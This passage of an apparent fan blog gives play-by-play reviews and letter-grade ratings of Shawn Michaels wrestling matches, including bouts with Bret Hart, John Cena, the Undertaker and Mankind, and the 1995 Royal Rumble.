He climbs up but Shawn shoves it well enough to make Jericho stop and kick him away, causing Jericho to fall off and land on his feet. Chris puts a ladder on the top rope in the corner with the top of it pointing into the ring. Shawn throws Jericho onto the ladder and he falls out to the floor. Out to the floor and Shawn sets up the mega ladder. He hits Jericho with the ladder a few times to keep Jericho down and loads up the announce table.

Jericho is placed on the table but gets up and climbs up the ladder after Shawn. He gets in a few shots and tries a belly to back through the table. Shawn shifts his weight and lands on top of Chris, but they’re both dead anyway. Back in the ring and Shawn goes up, looking to ride the ladder down onto Jericho. The champ is ready for him though and dropkicks the ladder into Shawn, crotching him.

Jericho loads up a superplex but Shawn shoves him off. He tries the elbow but Jericho pulls the ladder onto himself so that the elbow hits the steel coming down. FREAKING OW MAN! Shawn tries the superkick but Jericho pulls up a ladder and slams it into Shawn’s head. Jericho puts the ladder on Shawn and hits the Lionsault onto it, which would seem to take a lot more out of Jericho than Shawn.

He puts the ladder on top of Shawn and tries to go up but Shawn kicks the ladder forward, sending Jericho crashing down with NOTHING to catch his fall. He’s holding his knee on the floor while Shawn slowly climbs. Jericho gets back in and shoves the ladder over, sending Shawn into the ropes. They both climb and slug it out but Jericho gets his leg caught in the ladder and is hanging upside down. Cue Cade for the save so Shawn superkicks him down. Jericho is back up and it’s another race. They both grab the belt and it comes unhooked and it’s a tug of war. Jericho headbutts the bad eye to pull down the title to retain.

Rating: A. Yeah it’s great. You knew this was going to be rated very highly coming in. Everyone loves this match and it’s not hard to see why. Both guys are masters at this and they beat each other up very well in the process. As with most great ladder matches, the matches where it’s about the guys and there happen to be ladders involved are much better than the other way around. Great match and a great ending. This would have been a lot better live I think.

Let’s look at another Bret match because you can’t have enough of those. From Survivor Series 1992 and make sure to take note of the ending.

WWF World Title: Bret Hart vs. Shawn Michaels

Sherri still sings Shawn’s theme music and this is champion vs. champion, but only one title is on the line. Feeling out process to start and they hit the mat with Shawn getting in way over his head. Shawn works on the arm and pulls Bret to the mat but Bret nips up. So that’s where Shawn got it from. Bret cranks on the arm and Shawn cranks on the hair. Things speed up and Shawn trips Bret up but it’s right back to the arm. This technical stuff isn’t working for Shawn so far.

Michaels gets to the arm but Bret easily sends him to the floor to escape. Hart takes over on the arm again and Shawn can’t get anything going in the first five minutes or so. A cross body gets two for Bret as does a sunset flip. It’s back to the arm and Shawn is getting frustrated. They hit the ropes and Shawn catches Bret in a hot shot to finally get in some offense. A thumb to the eye puts Bret back in trouble and he charges into the post to make it even worse.

Shawn DDTs the arm as the roles have completely reversed now, although it’s due to evil ways now instead of technical and good ones. See how good psychology can be when it’s done right? Bret’s chest to the buckle spot gets two for Shawn and it’s chinlock time. They fight over a top wristlock but Shawn uses the hair again to pull Bret back to the mat. Bret fights out of the chinlock but gets dropkicked right back down for two. Shawn is one step ahead of him in everything Bret does right now.

A backbreaker gets another two for Shawn and let’s hit that chinlock again. Shawn ducks his head and a swinging neckbreaker puts Shawn down, but cheating by means of a shot to the throat stops Bret again. A front facelock goes on and Bret rams Shawn into the corner with some shoulders to counter. Shawn charges into a boot and a bulldog puts him down. Bret misses a middle rope elbow and both guys are down again.

Michaels hits a jumping back elbow to the face for two and it’s back to the front facelock. After two arm drops for Bret, he pulls off the fastest small package you’ll see in a long time for two. A suplex by Hart puts both guys down but things start speeding up anyway. Shawn gets sling shotted into the corner and hits the post as is his custom. Bret launches him into the corner and kicks Shawn so hard that Shawn gets crotched on the top rope.

A BIG baaaaaaaaaaaaack body drop gets two on Shawn and Bret is surprised. Russian legsweep gets two for the world champ and a backbreaker sets up the middle rope elbow for the same. Bret superplexes Shawn down but he can’t cover immediately so it only gets two. There’s a sleeper from Hart and the referee gets bumped. That goes absolutely nowhere and he’s up a few seconds later. Ok then.

Bret tries another sleeper but Shawn sends him to the floor in the exact same way that Bret sent Shawn to the floor earlier. NICE! Bret gets posted and we head back inside for a whip to the corner for two. The problem here for Shawn is that he doesn’t have a big time finisher as his only big move was a stupid suplex move. Just as I type that, Shawn superkicks Bret down. It’s not a finisher yet though so he doesn’t even cover.

Bret blocks the tear drop (finisher) suplex but the second attempt connects for two. Bret uppercuts Shawn into the ropes but Hart misses a charge and crotches himself on the top. Shawn goes up to the middle rope but he jumps right into the Sharpshooter (in the EXACT same sequence that ended regulation of the Iron Man Match) for the submission to keep the title on Bret.

Rating: A. It’s Bret vs. Shawn with almost 27 minutes. Were you expecting anything but a scientific war? If you give Shawn the superkick here to use as a finisher, there’s no way this isn’t even better. Great match here with both guys trading great psychology the whole way through. Really good main event and a great way to show that Hulk isn’t needed to fire up a crowd as they were all kinds of into this match.

Here’s a classic Raw from April 23, 2008.

Shawn Michaels vs. John Cena

There’s almost an hour to go in the show so you know this is going to be something good. Shawn works on the shoulder to start but Cena counters with a headscissors into a stalemate. They do the exact same sequence and then try it again, but Cena goes for a drop toehold which Shawn escapes. Another STFU attempt sends Shawn running to the ropes. Cena is very pleased that he got that close.

Cena tries to grab the leg this time but Shawn makes the rope. They get in each others’ faces and it’s a slugout. Back from a break and the fans are getting way into this. Cena takes him down with a headlock instead which lasts for a good while. A big clothesline takes Shawn down and it’s chinlock time. Shawn pops back up and is immediately clotheslined back down.

Sweet Chin Music is avoided and the FU is countered by Shawn heading to the floor. We take another break and come back to Shawn getting in a shot in the corner. He’s mostly the heel in this but it’s not full fledged. They speed things up and Cena hits a World’s Strongest Slam for two. Release fisherman’s suplex gets two. Throwback gets two. They slug it out and Shawn counters a suplex into a neckbreaker for two.

Another slugout results in the flying forearm by Shawn. He nips up and hammers Cena down and goes to the corner for the elbow. It hits but instead of covering Shawn stomps the mat for the Chin Music. Cena ducks and Shawn grabs a quick backslide for two. The shoulder block misses and Cena may have hurt his shoulder on the crash to the floor. Shawn dives over the floor but Cena catches him in mid-air and slams him into the steps.

Back from break #3 and they’re both in the ring again. It should be noted that we’re probably half an hour into this and Cena looks FINE. He doesn’t look tired, he doesn’t look winded, he doesn’t even look sweaty. That’s almost scary. Cena charges into the post and Shawn has a target. He hooks a combination hammerlock/abdominal stretch on the mat before driving in some knees on the arm.

Cena shrugs off most of it and starts his finishing sequence, taking Shawn’s head off with a clothesline. The Shuffle hits but the FU is countered into Chin Music attempt into the FU for a VERY close two. We take another break and come back with Cena throwing Shawn to the floor. Cena rams his back into the post and we head back inside. Delayed vertical suplex gets two.

Bearhug time which is proof we’re in a big match as you almost never see a face use one of those. Shawn fights out of it but gets thrown over the corner and out to the floor. Back in Cena hits the top rope Fameasser which seems to be a new move for him. They go to the corner for a superplex but Cena instead tries an FU off the top, which Shawn counters into a powerbomb off the top to put both guys down.

Out to the apron and Shawn knocks him face first into the announce table. The look on his face says THAT REALLY HURT! Out to the floor and Shawn loads up a piledriver on the steps but Cena backdrops him onto the floor as we take I think break number five. Back with them on the announce table and Cena is all fired up. Back inside Cena hooks the STFU but it’s not cranked on perfectly.

Shawn makes the rope and we cut to some cheering girl in the crowd. Shawn looks a bit dead but Cena is waiting for the FU. Shawn pops up with the Chin Music but Cena tries the FU again. That gets reversed and Chin Music hits for a very delayed two. They slowly get up and Cena tries the FU again but Shawn slips down the back and hits the second Sweet Chin Music for the pin at 55:49. Unless there’s some house show match that I don’t know of, that’s the longest regular one on one match in the WWE/F since 1981.

Rating: A-. It’s certainly not a masterpiece or even anything close to one, but considering they just went an hour, you have to give them bonus points. Cena looked fresh as a daisy 40 minutes into this which is more proof that he isn’t human. This is also a loss that doesn’t hurt Cena because it wasn’t like he got beat but rather that he got caught. Very good match and the time aspect of it is remarkable. This match is on the Heartbreak and Triumph DVD.

Here’s one from the other end of the spectrum, from Wrestlemania XXVI.

Undertaker vs. Shawn Michaels

You can only win by pin or submission. They stare each other down and Shawn does the throat slit. Taker charges into some chops in the corner but Shawn is thrown into a Flair Flip in the corner, followed by snake eyes and the big boot. Old School is broken up a few times but the third try hits perfectly. The chokeslam is countered and Shawn goes after the leg. A quick Tombstone attempt is blocked and Shawn tries for the Crossface, only to be grabbed by the throat.

Taker grabs the arm as well but has to back away from Sweet Chin Music. Now Shawn is going after the knee and Taker is in trouble. Michaels goes for some stomps in the corner but the big man gets in an uppercut to send Shawn to the floor. Taker loads up the Dive but Shawn slides back in for a chop block. They head to the floor for Undertaker to take over with the apron legdrop. It hurts his leg again though and the big man can’t follow up.

Back in and Shawn takes out the leg again and there’s a Figure Four. Taker sits up and has them there crazy eyes…but can’t break up the hold. Scratch that as he can with pure power and Shawn lets it go. They slug it out on their feet again with Taker taking over with the strikes. Shawn comes back with the forearm and there’s the nipup. Unfortunately he walks into the chokeslam for a close two. Shawn busts out an ankle lock of all things and the grapevine is added as well.

Undertaker gets on his back and punches his way out of it but Shawn sends him to the floor. There’s a springboard cross body but Taker counters into a Tombstone on the floor. Shawn flailing to escape and then stopping cold was perfect. Back in and that somehow only gets two so Taker tries the Last Ride. The leg gives out again and Shawn counters into a kind of X-Factor for two. The big elbow hits knees, but that hurt Taker just as much as it hurt Shawn.

Michaels gets caught in Hell’s Gate but he flips forward into a rollup for two, making Undertaker break the hold. Back up again and there’s the superkick out of nowhere for two. Now Shawn tunes up the band but Taker catches it coming in and hits a full on Last Ride for two. Undertaker throws him to the floor and loads up the announce table. The Last Ride through the table is escaped and there’s a superkick to put Taker on the table. Shawn busts out a moonsault but mainly hits Taker’s legs. It would have looked great from a distance though.

Back in again and the superkick hits perfect but somehow only gets two. The fans are calling this awesome and I can’t say I’m arguing at all. Another superkick misses and there’s a big chokeslam. Taker can’t follow up though….until he plants Shawn with a Tombstone. THAT gets two and Taker is shocked. The Dead Man pulls the straps down but stops himself before doing the throat slit. Shawn pulls himself up on Taker’s body and does the throat slit himself, admitting that he can’t do it. Taker stares at him so Shawn slaps Taker in the face. That does it and it’s a jumping Tombstone to end Shawn’s career.

Rating: A+. That throat slit is as close to Shakespeare as WWE is ever going to get. Shawn going out in a masterpiece like this was as good as it was going to get and Undertaker gets to have another great match on his resume. Shawn has actually stayed retired which is the right move, because he’s not going to top this with one more match. It’s excellent even though it’s somehow a step below last year’s match.

Undertaker isn’t sure what to do now as the lights go out and 18-0 flashes on screen. Shawn still hasn’t moved. Taker helps Shawn up and they shake hands to a big ovation. Undertaker lets Shawn stand in the ring alone and soak up one last round of applause. Shawn slowly walks up the aisle and slaps hands. Shawn: “I’m going to drive my kids crazy in three weeks.” He walks to the back to end the show.

Back to the old days with the 1993 Royal Rumble.

Intercontinental Title: Marty Jannetty vs. Shawn Michaels

Sherri is at ringside with the question being who would she side with? Why would she side with Marty anyway? I never got that. Apparently it’s because Shawn never called her while she was in the hospital….which she was in because of Marty. So why would she ever go with Jannetty? Apparently Jannetty was drunk during this match. That might make things a bit funnier if nothing else.

Jannetty controls to start, sending Shawn to the floor twice with a knee lift and a clothesline. Marty punches Shawn down on the floor and poses in the ring. He tries a punch off the top but gets caught in the ribs on the way down. Shawn loads Marty up on his shoulder and in one of the only times I can ever remember it working, rams Marty shoulder first into the post.

The champ rams the other shoulder into the post because he hit the right one the first time, and you just don’t do that. Back in and Shawn hits a shoulderbreaker before sending Marty to the floor again. Back in and the shoulder goes into the buckle, followed by a double ax right down onto it as well. We hit the armbar but Marty fights out quickly. He tries a comeback but walks into a DDT on the arm for two.

Quick sidebar: why is that move called a single arm DDT? It’s a hold used on the arm, but the double arm DDT is used to hurt the head. Also a regular DDT uses just one arm, so why is this called a single arm DDT instead of the regular one? These are the kinds of things I think about when I’m bored by a match.

Anyway, Shawn does the always stupid looking jump into the boot spot. I mean he jumped RIGHT AT Marty’s feet. What could he possibly have been trying there? Marty avoids a charge in the corner, sending Shawn’s shoulder into the post instead. Marty speeds things up and pounds away, only to have Shawn slingshot him out to the floor. Shawn goes to pick him up but Marty suplexes him out to the floor.

Sherri finally does something by slapping Shawn, who gets belly to back suplexed into the ring. Shawn gets launched to the floor again as the pace picks up a bit. A powerslam puts the champ down but Shawn avoids the top rope punch. Marty stops himself before crashing and gets two off a DDT. Shawn misses a superkick and gets caught by one of his own for two. The crowd is getting into this.

Marty slingshots Shawn so he gets to do his big bump onto the post. There goes the referee via an elbow to the face and Sherri comes in. She swings her shoe but hits Marty by mistake of course. Shawn yells at her a lot and then superkicks Marty in the chest for the pin to retain.

Rating: C+. This started slow, picked up a good bit during Marty’s comeback, and then had a horribly uninteresting ending. Seriously, that’s it? These two would have a rematch soon after on Raw which won Match of the Year in a contest for least bad match of the year for all intents and purposes.

We’ll jump forward to a great match at In Your House X.

WWF World Title: Shawn Michaels vs. Mankind

Druids wheel out a casket during the challenger’s entrance and of course Mankind is inside. A quick elbow to the jaw puts Shawn down and there’s a shot to the throat for good measure. Mankind’s signature clothesline (Cactus Clothesline) puts both guys out onto the floor where Mankind peels back the floor mats. Shawn dropkicks them into Mankind’s face and jumps up and down on Mankind before hitting a cross body off the top and out to the floor.

A flying shove sends the back of Mankind’s head into the concrete again but he doesn’t seem all that bothered. Back in and a top rope ax handle drops the challenger again and Shawn peppers him with left hands. Michaels drops the top rope elbow for no cover before tuning up the band, only to have Mankind bail to the floor where he holds the urn and rocks back and forth. Back in and Shawn slugs away even more so Mankind slaps him in the face, sending it down to the mat in a brawl.

Mankind trips Shawn down in a nice amateur style move where he tries the Mandible Claw but Shawn blocks the hand. He elbows Mankind in the jaw to escape and pounds away as they’re in what would be called full mount/guard positions respectively in MMA terms. Mankind throws him out to the floor and sets up the announce table next to the ring, only to have Shawn dive over to pummel Mankind even more. A suplex slams Mankind’s legs into the steps and the challenger is in big trouble.

Back in and Shawn stomps at the leg but stops to yell at the referee. Mankind gets in a few kicks with the good leg but Michaels catches him in a dragon screw leg whip. There’s a figure four but Mankind gets in a shot to the face to break it up. Michaels goes right back to the knee with a dropkick and an old Mr. Perfect (on commentary) move called the Robinsdale Crunch. Off to a half crab but Mankind is quickly in the ropes for the break.

They get back up and Shawn tries a running hurricanrana, only to have Mankind catch him in the air and fall back to drop Shawn throat first across the top rope. Mankind grabs a pen to stab into his own leg to wake it up a bit in a bizarre yet smart move. Shawn gets rammed face first into the casket and a running knee to the face keeps him in trouble. Mankind’s knee going into Shawn’s head slows the challenger down a bit so he rams Shawn face first into the mat to get a breather.

Michaels comes back with a quick belly to back suplex but can’t get any momentum going with Mankind right back on him. It turns back into a slugfest until Mankind whips him into the corner and gets Shawn tied up in the Tree of Woe. An ax handle to the face knocks Michaels free and a boot to the face puts him out onto the floor. Mankind follows him out but gets whipped knees first into the steps, followed by a drop toehold into the steps for good measure.

They fight for a suplex on the apron but Shawn winds up landing on the apron where he kicks Mankind’s leg out again to take over. Back inside and Shawn gets two off a powerslam before whipping Mankind in the ropes where he flips over, getting his neck tied up in the ropes. Shawn goes over but gets caught in a quick Mandible Claw to stop Shawn cold. The Claw goes on again on the floor but Shawn launches him face first into the barricade for the break.

Back up again and Shawn grabs a chair to block a right hand, hurting the Mandible Claw hand in a brilliant move. More chair shots to the hand have the challenger in trouble so Shawn bites away at the fingers. Back inside and Michaels stomps at the hand before going to the other hand to make sure it doesn’t feel unloved. Mankind manages to backdrop Shawn back to the floor and drops an elbow off the apron in another signature move. A swinging neckbreaker puts Shawn down on the floor as these guys are getting tired.

Back in again and Mankind gets two each off a double arm DDT and a piledriver. The fans sound ready to explode on Shawn’s comeback. Mankind is so frustrated that he pulls his own hair out. We get a couple of chairs thrown in but instead of using them, Mankind opens up the casket.

Shawn fights his way out of it and hits the forearm into the nipup that he’s famous for. Michaels stomps away in the corner and gets two off a high cross body. Mankind crotches Shawn on the top to slow down the comeback before loading up a belly to back suplex to the floor. Since that would kill Shawn though, he counters in midair into a cross body to drive Mankind through the table, sending both guys down in a heap.

Mankind sets up a chair in the ring and brings in a second one, only to have Shawn use the chair as a springboard to superkick the second chair into Mankind’s face in a cool looking move. That would look to be the finish but Shawn has to pull off and go after the interfering Vader, drawing the DQ in the only bad part of the match.

Rating: A+. This isn’t just the match of the night or the match of the year or the match of In Your House so far. This match is in the running for the greatest match of all time. It tells an amazing story with Shawn having to completely change his style and get crazy to hang with Mankind. On top of that you have the brutal physical aspect with both guys just beating the tar out of each other for nearly twenty seven minutes. Absolutely amazing stuff and well worth seeing if you never have before or if you haven’t seen it in awhile.

Post match Shawn knocks Vader to the floor but gets blasted in the back of the head by the urn. Sid shows up to fight Vader to the back but it’s Mankind up first. He puts the Mandible Claw on Shawn and goes to put him in the casket, but somehow the Undertaker is inside. Paul Bearer freaks out and the crowd comes unglued as Undertaker shoves Mankind to the floor and stalks the villains up the aisle.

After fighting a former partner and a maniac, here’s Shawn against God.

Shawn Michaels/God vs. Vince McMahon/Shane McMahon

Vince introduces God and we get a spotlight. His tron video is clouds and he comes out to harp and piano music. Vince stops and criticizes God before challenging him to a dance contest. I kid you not, this is really happening. The spotlights gets in the ring and Vince tells the referee to check him out. Vince makes the match no holds barred because the idea of Vince wrestling an actual match isn’t pleasing. Sexy Boy finally hits to end this stupidity.

Vince starts to run his mouth some more and Shawn finally drills him to get going. The daddy goes to the floor while Shawn beats up Shane. Shawn dives on Vince before clotheslining Shane to the floor and hitting a flip dive to take him out. Michaels chops Shane up the ramp but Shane comes back with knees to the stomach. Shane tries to piledrive Shawn off the stage but gets backdropped instead.

Shawn comes back but here’s Vince with a chair as they’re all on the stage now. Shawn blocks the shot and takes Shane down again before hitting a cross body on Vince off the stage. This looked like nothing live but it looked good on camera. Shawn climbs back up to the stage but gets hit in the face with the chair by Shane. Michaels is busted which I never noticed in the arena.

Shane and Shawn head back to the ring and Shawn goes into the post. Shawn gets sent into the barricade and then back into the ring as Shane is in complete control. The top rope elbow misses and both guys are down. Vince is on the apron now and apparently they have to tag. Shane DDTs Shawn down and it’s off to Vince. Vince takes his belt off and whips Shawn’s back because he’s that evil. Shane throws in a garbage can and Shawn gets his head caved in.

Vince wants a mic and taunts God a bit. God walks out and Vince says come back. Vince declares that God has left the building, but Shawn hasn’t. He stands Shawn up and tries a superkick but the kick gets caught. Shawn makes his comeback and hits the forearm and nip-up. Shane misses a chair shot and caves in Vince’s head by mistake. It’s a forearm for Shane followed by an atomic drop and some clotheslines. Shawn’s top rope elbow hits and both McMahons taste superkicks.

Shawn, ever the genius, doesn’t go for a cover but rather goes to the floor for a table. Make that two tables. My fellow Lexingtonians (yes that’s what they’re called) want ladders because much like other wrestling fans, they’re greedy people. Both McMahons are put on tables and here comes the ladder. It’s the jumbo sized ladder too. Shawn climbs up but has to dive on the invading Spirit Squad. That was incredible live but the camera didn’t get a great shot of it. The main problem was you didn’t see them until the dive so Shawn looked crazy.

The numbers catch up with Shawn and he gets beaten down by the five male cheerleaders who are currently tag team champions at this point. They throw Shawn back in and get the McMahons off the tables. The Squad takes Shawn into the ring and hit their finisher on him, which is them all picking him up at once and dropping him through a table. Vince gets the pin. JR calls this BS but the uncensored version.

Rating: D. The match was boring, but JR put it best during the match: this was uncomfortable. On top of that, the whole thing was stupid. This would set up a feud that ran for the whole year which didn’t work all that well either. It did lead to the reformation of DX which was pretty interesting, but dang this first part was torture to sit through. Not a horrible match but dang this was a chore to sit through.

Time for another first, this time at Survivor Series 2002.

Raw World Title: Kane vs. Chris Jericho vs. HHH vs. Shawn Michaels vs. Booker T vs. Rob Van Dam

Jericho is a tag champion, but the cool part here is that as he comes out, Saliva does his theme song live at WWF New York. HHH is defending of course. Shawn’s tights are….brown. This is one of those decisions that no one ever quite got and he was made fun of extensively for them apparently. I mean…..BROWN? Mankind wore brown for crying out loud. The wide show of the Chamber really does look cool. Anyway the entrances take a long time and RVD vs. HHH gets us going.

Van Dam hits a spinwheel kick to take HHH down but walks into a facebuster. The Pedigree is countered into a backdrop over the top to hit the cage outside the ring. JR’s statements about the Chamber are already nuts as he says it has no soul or conscience. IT’S A FREAKING CAGE! Anyway, HHH is rammed into the cage over and over to bust him open and Van Dam hits Rolling Thunder over the top rope to land on HHH on the cage. Yeah there’s a floor made of cage surrounding the ring that is level with the mat if you’ve somehow never seen one of these.

Van Dam goes up on one of the pods but his flip dive mostly hits the floor instead of HHH. Back in the ring and HHH gets stomped down in the corner as Jericho is added in as the third man. Van Dam immediately kicks him down and it’s five minutes until the next entrant. A cartwheel into a moonsault gets two on Jericho and they head outside the ring as well. In the first famous spot in the Chamber’s history, Van Dam jumps off the top rope, misses Jericho, and grabs onto the cage like Spider-Man before spinning back around to cross body Jericho. That’s still awesome.

HHH gets back up and hits the knee to the face of Van Dam which gives Jericho a two count. HHH and Jericho double team RVD before Chris tells Shawn to suck it. Van Dam’s back gets rammed into the cage wall some more and Jericho talks a lot of trash. Rob’s back goes into the cage over and over and we head back in to the ring. There’s a spin kick to put Jericho down as Booker T is in fourth.

Booker quickly clears the ring and we get a Spinarooni before Van Dam fights Booker one on one. Booker gets in some shots to Rob but walks into the stepover kick to give Van Dam control again. HHH gets back up and takes Van Dam down, only to get caught by the scissors kick from Booker. The next big spot of the match is Van Dam going up to the top of the pod and hitting the Five Star on HHH, with Van Dam’s knee hitting HHH’s throat, severely (and legitimately) injuring HHH’s windpipe. Since HHH can’t get up right now to eliminate Van Dam, Booker hits a missile dropkick to take Van Dam out.

Booker grabs a quick cover on HHH but only gets two. Jericho goes after Booker but gets caught in an Alabama Slam for his efforts. Kane comes in fifth because we don’t quite know if Shawn’s back can handle a full match yet. Kane goes off on Booker and Jericho as HHH lays on the outside. Jericho gets launched face first into the cage wall and is then thrown through the BULLETPROOF, yes BULLETPROOF I SAY glass. This would become a running joke in the Chamber.

JR says the Chamber has no soul or conscience again just to hammer home the point. Kane chokeslams Booker and Jericho adds the Lionsault to take Booker out and get us down to four guys. A Kane suplex gets two on Jericho as we’re waiting on Shawn to come in. HHH goes up top for no apparent reason and gets slammed down ala Flair. Jericho missile dropkicks Kane down and here’s HBK.

HHH is down in the corner of course so Shawn can only beat on Kane and Jericho. There’s the forearm to Kane but no nipup, leaving everyone down at the moment. Kane whips Shawn HARD into the corner where Shawn flips upside down. There’s a chokeslam for all three remaining guys not named Kane but instead of covering, Kane loads up a Tombstone on HHH. Shawn superkicks Kane down but he sits up. The Pedigree and Lionsault finally put Kane out and we’re down to three.

Shawn gets double teamed by HHH and Jericho and it’s time for Chris to dance. After being rammed into the cage a few times, Michaels is busted open. Jericho talks more trash and HHH walks around a lot. Shawn tries to fight back but his piledriver on the cage is countered to backdrop his bad back onto the cage again. There’s the Lionsault….for two. You know, the move that put out Booker and Kane earlier? It’s now not enough to put down Shawn when he’s been beaten down and injured on top of having one match in four and a half years.

Shawn comes back with a moonsault press to Jericho for two before putting Jericho in the Walls. HHH finally comes back from getting popcorn or something with a DDT to Shawn. Jericho and HHH finally get in the argument you were expecting and the fight is on. Jericho jumps out of the corner and lands in the Pedigree, but Jericho counters into the Walls. While holding HHH, Shawn kicks Jericho’s head off and it’s down to one on one. If this surprises you, you’re an imbecile.

So it’s Shawn, bloodied and injured and in his second match in four years, against an also injured HHH in the main event at Madison Square Garden. Gosh I’m so glad these two are so selfless. The spinebuster puts Shawn down and HHH backdrops him over the top. Shawn sends HHH into the cage but when Shawn tries to Pedigree HHH on the steel, HHH counters into a slingshot through the cage again. You know, because Shawn would still be alive at this point.

Back in the ring all that gets two and it’s time for the slugout. Seriously, those brown tights are so stupid looking. A facebuster puts Shawn down and it’s another clothesline to put him onto the outside. The Pedigree on the steel is countered into another slingshot into the Chamber wall. Back into the ring and Shawn drops the elbow off the top of the pod. The Superkick is countered into the Pedigree and, say it with me, Shawn kicks out at two. Another Pedigree is countered into a backdrop, followed by the Sweet Chin Music to give Shawn the title.

Rating: D+. I’ve mellowed on this match in the last few years to the point where I’m not mad about it anymore. However, it’s still one of those matches where you look at it and say really. As in REALLY? We’re supposed to buy that Shawn can survive ALL of that and still win the freaking title? You have to keep in mind this isn’t the Shawn who was having the match of the year for like five years running. No one expected him to go on as long as he did. At this point, making it to Wrestlemania would have been impressive.

That’s where this match loses it for me: we’re supposed to buy that Shawn is so great, so amazing, and so tough that he can basically walk off the street and be better than four of the top guys in the business? There comes a point where my suspension of disbelief is cut off and I can’t buy this anymore. We passed that at Summerslam, making this even more ridiculous. This match is also the reason we had to sit through the AWFUL match at Armageddon, where HHH and Shawn got to waste 40 minutes of our time by barely being able to move.

In short, this is way more than I can accept as far as the match being realistic. In wrestling, you have to accept that some stuff is ridiculous. That’s called suspending disbelief. However, there comes a point where that’s not the case any longer. It’s unrealistic in wrestling terms to accept that Shawn can survive all this and win the title. This was pure selfishness from Shawn and HHH, which would get WAY worse in the future. HHH wouldn’t make a new star for over a YEAR when he put Benoit over at Wrestlemania in the same arena.

As for the rest of the match, it’s acceptable, but WAY too long. The Chamber matches need to go about thirty minutes instead of the forty this one went. The last seventeen minutes here, as in the amount of time after Kane is eliminated, are REALLY repetitive and while they had good drama, they needed to be cut. Booker, RVD, Jericho and Kane were all there to fill in spaces and be there for Shawn and HHH to bounce off of. I don’t hate the match, but it really doesn’t work all that well.

Shawn would enter the 1995 Royal Rumble first and do something special, albeit in a bad match.

Royal Rumble

Shawn is #1 and Bulldog is #2. Shawn immediately jumps Bulldog but this isn’t going to last long. Remember there are one minute intervals, which was just a bad idea in general. Smith gets a quick gorilla press, but why throw Shawn OUT when you can just slam him? That clearly won’t come back to haunt him later or anything of course. Smith charges into a boot and here’s Eli Blu (one of the Harris Brothers, who were the big bald bikers who were around for WAY too long) at #3.

Nothing happens so here’s Duke Droese (a wrestling garbageman) at #4. Eli fights Smith and Droese squeezes Shawn until Jimmy Del Ray of the Heavenly Bodies is #5. Nothing continues to happen because there isn’t enough time between entries. Sione (Barbarian) of the Headshrinkers is #6 as Del Ray is tossed out. Tom Prichard of the Heavyenly Bodies is #7 and STILL nothing is happening.

Doink is #8 as the Rumble is going way too fast. It’s like the original Rumble: not enough names to care about and nothing going on at the same time. Kwang is #9 and Rick Martel is #10, I believe in his last WWF match. There are nine people in the ring right now. Shawn is almost out but fights off Kwang to survive. Owen Hart is in at #11 and here’s Bret to jump him in the aisle. Owen survives and climbs in, only to be eliminated in three seconds.

Shawn puts out Droese and Timothy Well (partners with Steven Dunn in the tag team of Well Dunn) is #12 and is out almost immediately. Martel and Prichard go out faster than I can see them and Kwang superkicks Doink out. Luke of the Bushwhackers is #13 and during his entrance, everyone but Bulldog and Shawn are gone. Literally, four people were put out inside of six seconds. Luke is out almost immediately and it’s Shawn vs. Bulldog again.

Here’s Jacob Blu at #14 and HE TOO is gone in like fifteen seconds. This is so stupid. King Kong Bundy is #15 and he beats on both guys for about twenty seconds before it’s Mo at #16. Mo is like the fifth guy to last less than thirty seconds. If your roster is this weak, CUT THE FREAKING MATCH DOWN. Nothing else happens until Mable is #17 for the showdown with Bundy. Mabel dumps him out as Butch is #18 and is gone in less than 20 seconds as well. More on this later.

Lex Luger is #19 and he goes right for Mabel for no apparent reason. He eliminates the fat purple and gold dude before gorilla pressing Michaels down like an idiot. Mantaur, a stupid monster character, is #20. He beats on Luger and Bulldog until Aldo Montoya (Justin Credible with a jockstrap on his face) is #21. Henry Godwinn is #22 as we’re waiting on a bunch of people to get thrown out so everyone can go home. I think this is one of Henry’s first matches.

Billy Gunn is #23 so naturally Bart Gunn is #24. Bob Backlund is #25 and also lasts about fifteen seconds due to a Bret Hart attack. Steven Dunn is #26 as there are like ten people in there. Bret and Backlund fight in the aisle again and old man Dick Murdoch is #27. Mantaur misses a charge at Bart and Adam Bomb is #28. For the second year in a row, Vince decides Adam Bomb is going to win the Rumble. Seriously.

Fatu is #29 and Luger eliminates Mantaur. Crush is #30, giving us a final group of Shawn, Bulldog, Luger, Montoya, Godwinn, Bart, Billy, Dunn, Murdoch, Bomb, Fatu and Crush, or WAY TOO MANY PEOPLE. Thankfully Crush immediately eliminates the Gunns to clear the ring out a bit. We cut to Anderson who gives a very uninterested wave and points to the ring. You know, because this is SO beneath her. Well, not beneath her enough to give the check back or anything but you get the idea.

Dunn is put out off camera and Murdoch almost puts Shawn out. Luger makes the save due to a lack of intelligence as Murdoch tries headbutts on Fatu. Naturally it doesn’t work at all because YOU DON’T HEADBUTT A SAMOAN. Bomb is backdropped out and Shawn throwsn Montoya out. Luger saves Shawn AGAIN and Crush eliminates Fatu. There are six guys left: Murdoch (who hits a dropkick and airplane spin on Godwinn), Godwinn, Shawn, Bulldog, Crush and Luger.

Murdoch gets dizzy from the spin and falls out to get us down to five. Lex dumps Godwinn and we’ve got four left. Michaels and Crush double team Luger as Bulldog gets a breather. They dump Lex and we’ve got three guys left. Smith gets double teamed until Shawn turns on Crush and is lifted into the air. Bulldog uses the distraction to eliminate Crush and it’s one on one. Davey destroys Shawn and presses him onto (not over. That would make sense) the top rope. Shawn is knocked over the top, but in the famous finish, he hangs on and ONLY ONE FOOT touches, allowing Shawn to come back in and eliminate Smith to win.

Rating: D. This is a hard one to grade, because the stuff that was decent was in fact decent. The problem is there wasn’t much stuff that falls into that category. First and foremost, SEVEN PEOPLE OUT OF THIRTY did not last thirty seconds. If they’re that meaningless to the match, simply do not put them in the Rumble. It looks stupid and there’s no reason to have them out there.

Second, the time intervals. These were a major issues because there’s no time to get ANYTHING going in the match. When you count ten seconds or so to get into the ring (some people take up to twenty), you’re looking at about 45 seconds of action with the new guy before someone else comes out. That’s just not enough time to get anything going at all.

Third, and this is probably the biggest problem of the match, look at the roster here. At a glance, I see four people with actual chances to win: Crush, Luger (they’re both BIG stretches), Bulldog, and Shawn. After that there’s Owen Hart but he was one of the guys that didn’t make it thirty seconds in the ring.

Then you’re looking at guys like Montoya and Well Dunn and the Bushwhackers (who amazingly still had jobs in 1995) and the Heavenly Bodies (by my count there were five tag teams in here, or one third of the match. WAY too many guys at that level) and Dick freaking Murdoch. This is a match that was BEGGING for a midcard to come in and fill in some spots. Guys like Ramon and Jarrett and Bigelow and Tatanka would have helped this match a ton, but instead we get all these fillers. That’s a big reason why this didn’t work.

We’ll hop the pond for One Night Only in 1997.

